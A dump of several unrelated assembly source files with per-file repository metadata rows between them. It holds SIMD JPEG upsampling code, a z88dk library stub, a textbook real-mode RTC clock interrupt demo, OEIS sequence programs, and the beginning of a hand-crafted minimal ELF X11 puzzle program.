movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA, xmmD
sub rcx, byte SIZEOF_XMMWORD
.column_st15:
; Store the lower 8 bytes of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_MMWORD
jb short .column_st7
movq XMM_MMWORD [rdi], xmmA
add rdi, byte SIZEOF_MMWORD
sub rcx, byte SIZEOF_MMWORD
psrldq xmmA, SIZEOF_MMWORD
.column_st7:
; Store the lower 4 bytes of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_DWORD
jb short .column_st3
movd XMM_DWORD [rdi], xmmA
add rdi, byte SIZEOF_DWORD
sub rcx, byte SIZEOF_DWORD
psrldq xmmA, SIZEOF_DWORD
.column_st3:
; Store the lower 2 bytes of rax to the output when it has enough
; space.
movd eax, xmmA
cmp rcx, byte SIZEOF_WORD
jb short .column_st1
mov word [rdi], ax
add rdi, byte SIZEOF_WORD
sub rcx, byte SIZEOF_WORD
shr rax, 16
.column_st1:
; Store the lower 1 byte of rax to the output when it has enough
; space.
test rcx, rcx
jz short .endcolumn
mov byte [rdi], al
%else ; RGB_PIXELSIZE == 4 ; -----------
%ifdef RGBX_FILLER_0XFF
pcmpeqb xmm6, xmm6 ; xmm6=XE=X(02468ACE********)
pcmpeqb xmm7, xmm7 ; xmm7=XO=X(13579BDF********)
%else
pxor xmm6, xmm6 ; xmm6=XE=X(02468ACE********)
pxor xmm7, xmm7 ; xmm7=XO=X(13579BDF********)
%endif
; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **)
; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **)
; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **)
; xmmG=(30 32 34 36 38 3A 3C 3E **), xmmH=(31 33 35 37 39 3B 3D 3F **)
punpcklbw xmmA, xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E)
punpcklbw xmmE, xmmG ; xmmE=(20 30 22 32 24 34 26 36 28 38 2A 3A 2C 3C 2E 3E)
punpcklbw xmmB, xmmD ; xmmB=(01 11 03 13 05 15 07 17 09 19 0B 1B 0D 1D 0F 1F)
punpcklbw xmmF, xmmH ; xmmF=(21 31 23 33 25 35 27 37 29 39 2B 3B 2D 3D 2F 3F)
movdqa xmmC, xmmA
punpcklwd xmmA, xmmE ; xmmA=(00 10 20 30 02 12 22 32 04 14 24 34 06 16 26 36)
punpckhwd xmmC, xmmE ; xmmC=(08 18 28 38 0A 1A 2A 3A 0C 1C 2C 3C 0E 1E 2E 3E)
movdqa xmmG, xmmB
punpcklwd xmmB, xmmF ; xmmB=(01 11 21 31 03 13 23 33 05 15 25 35 07 17 27 37)
punpckhwd xmmG, xmmF ; xmmG=(09 19 29 39 0B 1B 2B 3B 0D 1D 2D 3D 0F 1F 2F 3F)
movdqa xmmD, xmmA
punpckldq xmmA, xmmB ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33)
punpckhdq xmmD, xmmB ; xmmD=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37)
movdqa xmmH, xmmC
punpckldq xmmC, xmmG ; xmmC=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B)
punpckhdq xmmH, xmmG ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F)
cmp rcx, byte SIZEOF_XMMWORD
jb short .column_st32
test rdi, SIZEOF_XMMWORD-1
jnz short .out1
; --(aligned)-------------------
movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC
movntdq XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH
jmp short .out0
.out1: ; --(unaligned)-----------------
movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
movdqu XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC
movdqu XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH
.out0:
add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr
sub rcx, byte SIZEOF_XMMWORD
jz near .endcolumn
add rsi, byte SIZEOF_XMMWORD ; inptr0
dec al ; Yctr
jnz near .Yloop_2nd
add rbx, byte SIZEOF_XMMWORD ; inptr1
add rdx, byte SIZEOF_XMMWORD ; inptr2
jmp near .columnloop
.column_st32:
cmp rcx, byte SIZEOF_XMMWORD/2
jb short .column_st16
movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD
add rdi, byte 2*SIZEOF_XMMWORD ; outptr
movdqa xmmA, xmmC
movdqa xmmD, xmmH
sub rcx, byte SIZEOF_XMMWORD/2
.column_st16:
cmp rcx, byte SIZEOF_XMMWORD/4
jb short .column_st15
movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA
add rdi, byte SIZEOF_XMMWORD ; outptr
movdqa xmmA, xmmD
sub rcx, byte SIZEOF_XMMWORD/4
.column_st15:
; Store two pixels (8 bytes) of xmmA to the output when it has enough
; space.
cmp rcx, byte SIZEOF_XMMWORD/8
jb short .column_st7
movq XMM_MMWORD [rdi], xmmA
add rdi, byte SIZEOF_XMMWORD/8*4
sub rcx, byte SIZEOF_XMMWORD/8
psrldq xmmA, SIZEOF_XMMWORD/8*4
.column_st7:
; Store one pixel (4 bytes) of xmmA to the output when it has enough
; space.
test rcx, rcx
jz short .endcolumn
movd XMM_DWORD [rdi], xmmA
%endif ; RGB_PIXELSIZE ; ---------------
.endcolumn:
sfence ; flush the write buffer
.return:
pop rbx
uncollect_args 4
mov rsp, rbp ; rsp <- aligned rbp
pop rsp ; rsp <- original rbp
pop rbp
ret
; --------------------------------------------------------------------------
;
; Upsample and color convert for the case of 2:1 horizontal and 2:1 vertical.
;
; GLOBAL(void)
; jsimd_h2v2_merged_upsample_sse2(JDIMENSION output_width,
; JSAMPIMAGE input_buf,
; JDIMENSION in_row_group_ctr,
; JSAMPARRAY output_buf);
;
; r10d = JDIMENSION output_width
; r11 = JSAMPIMAGE input_buf
; r12d = JDIMENSION in_row_group_ctr
; r13 = JSAMPARRAY output_buf
align 32
GLOBAL_FUNCTION(jsimd_h2v2_merged_upsample_sse2)
EXTN(jsimd_h2v2_merged_upsample_sse2):
push rbp
mov rax, rsp
mov rbp, rsp
collect_args 4
push rbx
mov eax, r10d
mov rdi, r11
mov ecx, r12d
mov rsip, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY]
mov rbxp, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY]
mov rdxp, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY]
mov rdi, r13
lea rsi, [rsi+rcx*SIZEOF_JSAMPROW]
sub rsp, SIZEOF_JSAMPARRAY*4
mov JSAMPARRAY [rsp+0*SIZEOF_JSAMPARRAY], rsip ; intpr00
mov JSAMPARRAY [rsp+1*SIZEOF_JSAMPARRAY], rbxp ; intpr1
mov JSAMPARRAY [rsp+2*SIZEOF_JSAMPARRAY], rdxp ; intpr2
mov rbx, rsp
push rdi
push rcx
push rax
%ifdef WIN64
mov r8, rcx
mov r9, rdi
mov rcx, rax
mov rdx, rbx
%else
mov rdx, rcx
mov rcx, rdi
mov rdi, rax
mov rsi, rbx
%endif
call EXTN(jsimd_h2v1_merged_upsample_sse2)
pop rax
pop rcx
pop rdi
mov rsip, JSAMPARRAY [rsp+0*SIZEOF_JSAMPARRAY]
mov rbxp, JSAMPARRAY [rsp+1*SIZEOF_JSAMPARRAY]
mov rdxp, JSAMPARRAY [rsp+2*SIZEOF_JSAMPARRAY]
add rdi, byte SIZEOF_JSAMPROW ; outptr1
add rsi, byte SIZEOF_JSAMPROW ; inptr01
mov JSAMPARRAY [rsp+0*SIZEOF_JSAMPARRAY], rsip ; intpr00
mov JSAMPARRAY [rsp+1*SIZEOF_JSAMPARRAY], rbxp ; intpr1
mov JSAMPARRAY [rsp+2*SIZEOF_JSAMPARRAY], rdxp ; intpr2
mov rbx, rsp
push rdi
push rcx
push rax
%ifdef WIN64
mov r8, rcx
mov r9, rdi
mov rcx, rax
mov rdx, rbx
%else
mov rdx, rcx
mov rcx, rdi
mov rdi, rax
mov rsi, rbx
%endif
call EXTN(jsimd_h2v1_merged_upsample_sse2)
pop rax
pop rcx
pop rdi
mov rsip, JSAMPARRAY [rsp+0*SIZEOF_JSAMPARRAY]
mov rbxp, JSAMPARRAY [rsp+1*SIZEOF_JSAMPARRAY]
mov rdxp, JSAMPARRAY [rsp+2*SIZEOF_JSAMPARRAY]
add rsp, SIZEOF_JSAMPARRAY*4
pop rbx
uncollect_args 4
pop rbp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 32
| 38.369202 | 90 | 0.536048 |
9b567f2b1decd51bd164dd509bda1fbdde7a8691 | 230 | asm | Assembly | libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/string/c/sccz80/strstrip.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1 | 2019-12-03T23:28:20.000Z | 2019-12-03T23:28:20.000Z |
; char *strstrip(const char *s)
SECTION code_clib
SECTION code_string
PUBLIC strstrip
EXTERN asm_strstrip
defc strstrip = asm_strstrip
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strstrip
defc _strstrip = strstrip
ENDIF
| 12.105263 | 31 | 0.8 |
3da60c4fba409dcf2ae995c9dc11d3daa0b76940 | 7,836 | asm | Assembly | c09/c09_1.asm | znculee/x86-asm-demo | df7405637674513f6f9ab8bc0b094a2f05a9dfbc | [
"MIT"
] | null | null | null | c09/c09_1.asm | znculee/x86-asm-demo | df7405637674513f6f9ab8bc0b094a2f05a9dfbc | [
"MIT"
] | null | null | null | c09/c09_1.asm | znculee/x86-asm-demo | df7405637674513f6f9ab8bc0b094a2f05a9dfbc | [
"MIT"
] | 1 | 2021-05-18T07:05:36.000Z | 2021-05-18T07:05:36.000Z | ;代码清单9-1
;文件名:c09_1.asm
;文件说明:用户程序
;创建日期:2011-4-16 22:03
;===============================================================================
SECTION header vstart=0 ;定义用户程序头部段
program_length dd program_end ;程序总长度[0x00]
;用户程序入口点
code_entry dw start ;偏移地址[0x04]
dd section.code.start ;段地址[0x06]
realloc_tbl_len dw (header_end-realloc_begin)/4
;段重定位表项个数[0x0a]
realloc_begin:
;段重定位表
code_segment dd section.code.start ;[0x0c]
data_segment dd section.data.start ;[0x14]
stack_segment dd section.stack.start ;[0x1c]
header_end:
;===============================================================================
SECTION code align=16 vstart=0 ;定义代码段(16字节对齐)
new_int_0x70:
push ax
push bx
push cx
push dx
push es
.w0:
mov al,0x0a ;阻断NMI。当然,通常是不必要的
or al,0x80
out 0x70,al
in al,0x71 ;读寄存器A
test al,0x80 ;测试第7位UIP
jnz .w0 ;以上代码对于更新周期结束中断来说
;是不必要的
xor al,al
or al,0x80
out 0x70,al
in al,0x71 ;读RTC当前时间(秒)
push ax
mov al,2
or al,0x80
out 0x70,al
in al,0x71 ;读RTC当前时间(分)
push ax
mov al,4
or al,0x80
out 0x70,al
in al,0x71 ;读RTC当前时间(时)
push ax
mov al,0x0c ;寄存器C的索引。且开放NMI
out 0x70,al
in al,0x71 ;读一下RTC的寄存器C,否则只发生一次中断
;此处不考虑闹钟和周期性中断的情况
mov ax,0xb800
mov es,ax
pop ax
call bcd_to_ascii
mov bx,12*160 + 36*2 ;从屏幕上的12行36列开始显示
mov [es:bx],ah
mov [es:bx+2],al ;显示两位小时数字
mov al,':'
mov [es:bx+4],al ;显示分隔符':'
not byte [es:bx+5] ;反转显示属性
pop ax
call bcd_to_ascii
mov [es:bx+6],ah
mov [es:bx+8],al ;显示两位分钟数字
mov al,':'
mov [es:bx+10],al ;显示分隔符':'
not byte [es:bx+11] ;反转显示属性
pop ax
call bcd_to_ascii
mov [es:bx+12],ah
mov [es:bx+14],al ;显示两位小时数字
mov al,0x20 ;中断结束命令EOI
out 0xa0,al ;向从片发送
out 0x20,al ;向主片发送
pop es
pop dx
pop cx
pop bx
pop ax
iret
;-------------------------------------------------------------------------------
bcd_to_ascii: ;BCD码转ASCII
;输入:AL=bcd码
;输出:AX=ascii
mov ah,al ;分拆成两个数字
and al,0x0f ;仅保留低4位
add al,0x30 ;转换成ASCII
shr ah,4 ;逻辑右移4位
and ah,0x0f
add ah,0x30
ret
;-------------------------------------------------------------------------------
start:
mov ax,[stack_segment]
mov ss,ax
mov sp,ss_pointer
mov ax,[data_segment]
mov ds,ax
mov bx,init_msg ;显示初始信息
call put_string
mov bx,inst_msg ;显示安装信息
call put_string
mov al,0x70
mov bl,4
mul bl ;计算0x70号中断在IVT中的偏移
mov bx,ax
cli ;防止改动期间发生新的0x70号中断
push es
mov ax,0x0000
mov es,ax
mov word [es:bx],new_int_0x70 ;偏移地址。
mov word [es:bx+2],cs ;段地址
pop es
mov al,0x0b ;RTC寄存器B
or al,0x80 ;阻断NMI
out 0x70,al
mov al,0x12 ;设置寄存器B,禁止周期性中断,开放更
out 0x71,al ;新结束后中断,BCD码,24小时制
mov al,0x0c
out 0x70,al
in al,0x71 ;读RTC寄存器C,复位未决的中断状态
in al,0xa1 ;读8259从片的IMR寄存器
and al,0xfe ;清除bit 0(此位连接RTC)
out 0xa1,al ;写回此寄存器
sti ;重新开放中断
mov bx,done_msg ;显示安装完成信息
call put_string
mov bx,tips_msg ;显示提示信息
call put_string
mov cx,0xb800
mov ds,cx
mov byte [12*160 + 33*2],'@' ;屏幕第12行,35列
.idle:
hlt ;使CPU进入低功耗状态,直到用中断唤醒
not byte [12*160 + 33*2+1] ;反转显示属性
jmp .idle
;-------------------------------------------------------------------------------
put_string: ;显示串(0结尾)。
;输入:DS:BX=串地址
mov cl,[bx]
or cl,cl ;cl=0 ?
jz .exit ;是的,返回主程序
call put_char
inc bx ;下一个字符
jmp put_string
.exit:
ret
;-------------------------------------------------------------------------------
put_char: ;显示一个字符
;输入:cl=字符ascii
push ax
push bx
push cx
push dx
push ds
push es
;以下取当前光标位置
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
in al,dx ;高8位
mov ah,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
in al,dx ;低8位
mov bx,ax ;BX=代表光标位置的16位数
cmp cl,0x0d ;回车符?
jnz .put_0a ;不是。看看是不是换行等字符
mov ax,bx ;
mov bl,80
div bl
mul bl
mov bx,ax
jmp .set_cursor
.put_0a:
cmp cl,0x0a ;换行符?
jnz .put_other ;不是,那就正常显示字符
add bx,80
jmp .roll_screen
.put_other: ;正常显示字符
mov ax,0xb800
mov es,ax
shl bx,1
mov [es:bx],cl
;以下将光标位置推进一个字符
shr bx,1
add bx,1
.roll_screen:
cmp bx,2000 ;光标超出屏幕?滚屏
jl .set_cursor
mov ax,0xb800
mov ds,ax
mov es,ax
cld
mov si,0xa0
mov di,0x00
mov cx,1920
rep movsw
mov bx,3840 ;清除屏幕最底一行
mov cx,80
.cls:
mov word[es:bx],0x0720
add bx,2
loop .cls
mov bx,1920
.set_cursor:
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
mov al,bh
out dx,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
mov al,bl
out dx,al
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
ret
;===============================================================================
SECTION data align=16 vstart=0
init_msg db 'Starting...',0x0d,0x0a,0
inst_msg db 'Installing a new interrupt 70H...',0
done_msg db 'Done.',0x0d,0x0a,0
tips_msg db 'Clock is now working.',0
;===============================================================================
SECTION stack align=16 vstart=0
resb 256
ss_pointer:
;===============================================================================
SECTION program_trail
program_end:
| 25.607843 | 80 | 0.364599 |
9bf0c194c6d1760abc014d08d0a6e74e8e26551f | 269 | asm | Assembly | programs/oeis/006/A006589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/006/A006589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/006/A006589.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A006589: a(n) = (n+3)*2^n-1.
; 0,2,7,19,47,111,255,575,1279,2815,6143,13311,28671,61439,131071,278527,589823,1245183,2621439,5505023,11534335,24117247,50331647,104857599,218103807,452984831,939524095
add $0,2
mov $2,2
pow $2,$0
mul $0,$2
mov $1,$0
sub $1,8
div $1,8
| 24.454545 | 170 | 0.710037 |
6e6b6b9a7c354f38044e4252a8a3329e5a0ea61e | 655 | asm | Assembly | oeis/084/A084213.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/084/A084213.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/084/A084213.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A084213: Binomial transform of A081250.
; Submitted by Jamie Morken(s4)
; 1,4,18,76,312,1264,5088,20416,81792,327424,1310208,5241856,20969472,83881984,335536128,1342160896,5368676352,21474770944,85899214848,343597121536,1374389010432,5497557090304,21990230458368,87960926027776,351843712499712,1407374866776064,5629499500658688,22517998069743616,90071992413192192,360287969921204224,1441151880221687808,5764607521960493056,23058430089989455872,92233720364252790784,368934881465601097728,1475739525879584260096,5902958103552696778752,23611832414279506591744
mov $1,2
pow $1,$0
mov $0,2
mul $0,$1
div $1,2
trn $1,1
add $1,$0
mul $1,$0
mov $0,$1
div $0,4
| 43.666667 | 484 | 0.842748 |
7dadb3b834e221d1989dc618da75570b4097d87f | 339 | asm | Assembly | programs/oeis/021/A021742.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021742.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021742.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021742: Decimal expansion of 1/738.
; 0,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3,5,5,0,1,3
mov $2,$0
lpb $2
mov $1,$2
trn $2,4
sub $1,$2
mul $1,2
trn $1,3
trn $2,1
lpe
mov $0,$1
| 24.214286 | 199 | 0.516224 |
4e4a203bfbca5a7ab43377309c989ad827edeb70 | 24,465 | asm | Assembly | src/test/resources/elfsamples/tiny/puzzle.asm | thingswars/johnnyriscv | 7310af27952cf9e121a2237a9478ff6c06599a8d | [
"Apache-2.0"
] | 3 | 2016-07-15T20:35:12.000Z | 2018-08-07T18:55:33.000Z | src/test/resources/elfsamples/tiny/puzzle.asm | thingswars/johnnyriscv | 7310af27952cf9e121a2237a9478ff6c06599a8d | [
"Apache-2.0"
] | null | null | null | src/test/resources/elfsamples/tiny/puzzle.asm | thingswars/johnnyriscv | 7310af27952cf9e121a2237a9478ff6c06599a8d | [
"Apache-2.0"
] | null | null | null | ;; puzzle.asm: Copyright (C) 2011 Brian Raiter <breadbox@muppetlabs.com>
;; Licensed under the terms of the GNU General Public License, either
;; version 2 or (at your option) any later version.
;;
;; To build:
;; nasm -f bin -o puzzle puzzle.asm && chmod +x puzzle
BITS 32
;; Definitions that would have been supplied by standard header files,
;; if only there existed assembler-friendly versions of them.
;; Definitions from X.h.
%define KeyPress 2
%define ButtonPress 4
%define Expose 12
%define ClientMessage 33
%define KeyPressMask (1 << 0)
%define ButtonPressMask (1 << 2)
%define ExposureMask (1 << 15)
%define Button1 1
%define FillSolid 0
%define FillStippled 2
;; Definitions from Xlib.h.
%define RootWindowOfScreen(s) dword [s + 8]
%define DefaultDepthOfScreen(s) dword [s + 36]
%define DefaultGCOfScreen(s) dword [s + 44]
%define WhitePixelOfScreen(s) dword [s + 52]
%define BlackPixelOfScreen(s) dword [s + 56]
%define XOfXButtonEvent(e) dword [e + 32]
%define YOfXButtonEvent(e) dword [e + 36]
%define ButtonOfXButtonEvent(e) dword [e + 52]
%macro DefaultScreenOfDisplay 2
mov %1, dword [%2 + 140]
add %1, dword [%2 + 132]
%endmacro
;; Constants used by the program.
digitheight equ 11 ; height of digit in pixels
tilesize equ 19 ; height & width of each tile
tilerowbytes equ (tilesize + 7) >> 3 ; width of tile in bytes
framesize equ 5 ; height & width of frame
windowsize equ (framesize * 2 + tilesize * 4 + 3) ; total window size
myeventmask equ (ExposureMask | ButtonPressMask) ; events to receive
;; Macro for accessing addresses in .bss and some of .text via ebp.
%define ADDR(a) ebp + ((a) - _ebp_pos_)
;;
;; The ELF executable file structures
;;
;; The following provide the structures required by the ELF standard
;; in order to dynamically link with libX11.so and obtain pointers to
;; the various functions that this program needs to call. Where
;; possible, the ELF structures have been made to overlap with each
;; other. Comments identify various magic numbers.
;;
org 0x08048000
;; A basic ELF header, indicating that the program segment header
;; has three entries, and that there is no section header table.
db 0x7F, 'ELF'
db 1 ; ELFCLASS32
db 1 ; ELFDATA2LSB
db 1 ; EV_CURRENT
db 0 ; ELFOSABI_NONE
dd 0
dd 0
dw 2 ; ET_EXEC
dw 3 ; EM_386
dd 1 ; EV_CURRENT
dd _start
dd phdrs - $$
dd 0
dd 0
dw 0x34 ; sizeof(Elf32_Ehdr)
dw 0x20 ; sizeof(Elf32_Phdr)
dw 3
dw 0
dw 0
dw 0
;; The program header table contains three entries. The first one
;; indicates that the entire file is to be loaded into read-write-exec
;; memory. The second entry identifies the location of the _DYNAMIC
;; section, and the third entry gives the location of the interpreter
;; pathname. The last dword value of the table, a 1, overlaps with the
;; next structure.
phdrs:
dd 1 ; PT_LOAD
dd 0
dd $$
dd $$
dd file_size
dd mem_size
dd 7 ; PF_R | PF_W | PF_X
dd 0x1000
dd 2 ; PT_DYNAMIC
dd dynamic - $$
dd dynamic
dd dynamic
dd dynamic_size
dd dynamic_size
dd 6 ; PF_R | PF_W
dd 4
dd 3 ; PT_INTERP
dd interp - $$
dd interp
dd interp
dd interp_size
dd interp_size
dd 4 ; PF_R
;; A degenerate hash table. This structure is purely a formality. The
;; last 5 entries in the hash table (11, 16, 1, 10, 4) overlap
;; with the next structure.
hash:
dd 1 ; nbucket = 1
dd dynsym_count ; nchain = 18
dd 15
dd 0, 2, 3, 17, 5, 6, 7 ; a chain with 18 links
dd 8, 9, 16, 13, 12, 0
;; The _DYNAMIC section. Indicates the presence and location of the
;; dynamic symbol section (and associated string table and hash table)
;; and the relocation section. The final DT_NULL entry in the dynamic
;; section overlaps with the next structure.
dynamic:
dd 11, 16 ; DT_SYMENT = sizeof(Elf32_Sym)
dd 1, libX11_name ; DT_NEEDED = 10
dd 4, hash ; DT_HASH
dd 5, dynstr ; DT_STRTAB
dd 6, dynsym ; DT_SYMTAB
dd 10, dynstr_size ; DT_STRSZ
dd 17, reltext ; DT_REL
dd 18, reltext_size ; DT_RELSZ
dd 19, 8 ; DT_RELENT = sizeof(Elf32_Rel)
dynamic_size equ $ - dynamic + 8
;; The dynamic symbol table. Entries are included for the _DYNAMIC
;; section and the seventeen functions imported from libX11.so.
dynsym:
dd 0
dd 0
dd 0
dw 0
dw 0
dynamic_sym equ 1
dd dynamic_name
dd dynamic
dd 0
dw 0x11 ; STB_GLOBAL, STT_OBJECT
dw 0xFFF1 ; SHN_ABS
XClearArea_sym equ 2
dd XClearArea_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XCopyArea_sym equ 3
dd XCopyArea_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XCreateBitmapFromData_sym equ 4
dd XCreateBitmapFromData_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XCreatePixmapFromBitmapData_sym equ 5
dd XCreatePixmapFromBitmapData_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XCreateSimpleWindow_sym equ 6
dd XCreateSimpleWindow_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XFillRectangle_sym equ 7
dd XFillRectangle_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XInternAtom_sym equ 8
dd XInternAtom_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XMapWindow_sym equ 9
dd XMapWindow_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XNextEvent_sym equ 10
dd XNextEvent_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XOpenDisplay_sym equ 11
dd XOpenDisplay_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XSelectInput_sym equ 12
dd XSelectInput_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XSetFillStyle_sym equ 13
dd XSetFillStyle_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XSetStipple_sym equ 14
dd XSetStipple_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XSetWMName_sym equ 15
dd XSetWMName_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XSetWMProtocols_sym equ 16
dd XSetWMProtocols_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
XStringListToTextProperty_sym equ 17
dd XStringListToTextProperty_name
dd 0
dd 0
dw 0x12 ; STB_GLOBAL, STT_FUNC
dw 0
dynsym_count equ 18
;; The relocation table. The addresses of the functions imported from
;; libX11 are stored in the program's bss area. Since they will be
;; used with indirect calls, the R_386_32 relocation is used throughout.
reltext:
dd XClearArea_rel
db 1, XClearArea_sym, 0, 0
dd XCopyArea_rel
db 1, XCopyArea_sym, 0, 0
dd XCreateBitmapFromData_rel
db 1, XCreateBitmapFromData_sym, 0, 0
dd XCreatePixmapFromBitmapData_rel
db 1, XCreatePixmapFromBitmapData_sym, 0, 0
dd XCreateSimpleWindow_rel
db 1, XCreateSimpleWindow_sym, 0, 0
dd XFillRectangle_rel
db 1, XFillRectangle_sym, 0, 0
dd XInternAtom_rel
db 1, XInternAtom_sym, 0, 0
dd XMapWindow_rel
db 1, XMapWindow_sym, 0, 0
dd XNextEvent_rel
db 1, XNextEvent_sym, 0, 0
dd XOpenDisplay_rel
db 1, XOpenDisplay_sym, 0, 0
dd XSelectInput_rel
db 1, XSelectInput_sym, 0, 0
dd XSetFillStyle_rel
db 1, XSetFillStyle_sym, 0, 0
dd XSetStipple_rel
db 1, XSetStipple_sym, 0, 0
dd XSetWMName_rel
db 1, XSetWMName_sym, 0, 0
dd XSetWMProtocols_rel
db 1, XSetWMProtocols_sym, 0, 0
dd XStringListToTextProperty_rel
db 1, XStringListToTextProperty_sym, 0, 0
reltext_size equ $ - reltext
;; The interpreter pathname. The final NUL byte appears in the next
;; section.
interp:
db '/lib/ld-linux.so.2'
interp_size equ $ - interp + 1
;; The string table for the dynamic symbol table.
dynstr:
db 0
dynamic_name equ $ - dynstr
db '_DYNAMIC', 0
libX11_name equ $ - dynstr
db 'libX11.so.6', 0
XClearArea_name equ $ - dynstr
db 'XClearArea', 0
XCopyArea_name equ $ - dynstr
db 'XCopyArea', 0
XCreateBitmapFromData_name equ $ - dynstr
db 'XCreateBitmapFromData', 0
XCreatePixmapFromBitmapData_name equ $ - dynstr
db 'XCreatePixmapFromBitmapData', 0
XCreateSimpleWindow_name equ $ - dynstr
db 'XCreateSimpleWindow', 0
XFillRectangle_name equ $ - dynstr
db 'XFillRectangle', 0
XInternAtom_name equ $ - dynstr
db 'XInternAtom', 0
XMapWindow_name equ $ - dynstr
db 'XMapWindow', 0
XNextEvent_name equ $ - dynstr
db 'XNextEvent', 0
XOpenDisplay_name equ $ - dynstr
db 'XOpenDisplay', 0
XSelectInput_name equ $ - dynstr
db 'XSelectInput', 0
XSetFillStyle_name equ $ - dynstr
db 'XSetFillStyle', 0
XSetStipple_name equ $ - dynstr
db 'XSetStipple', 0
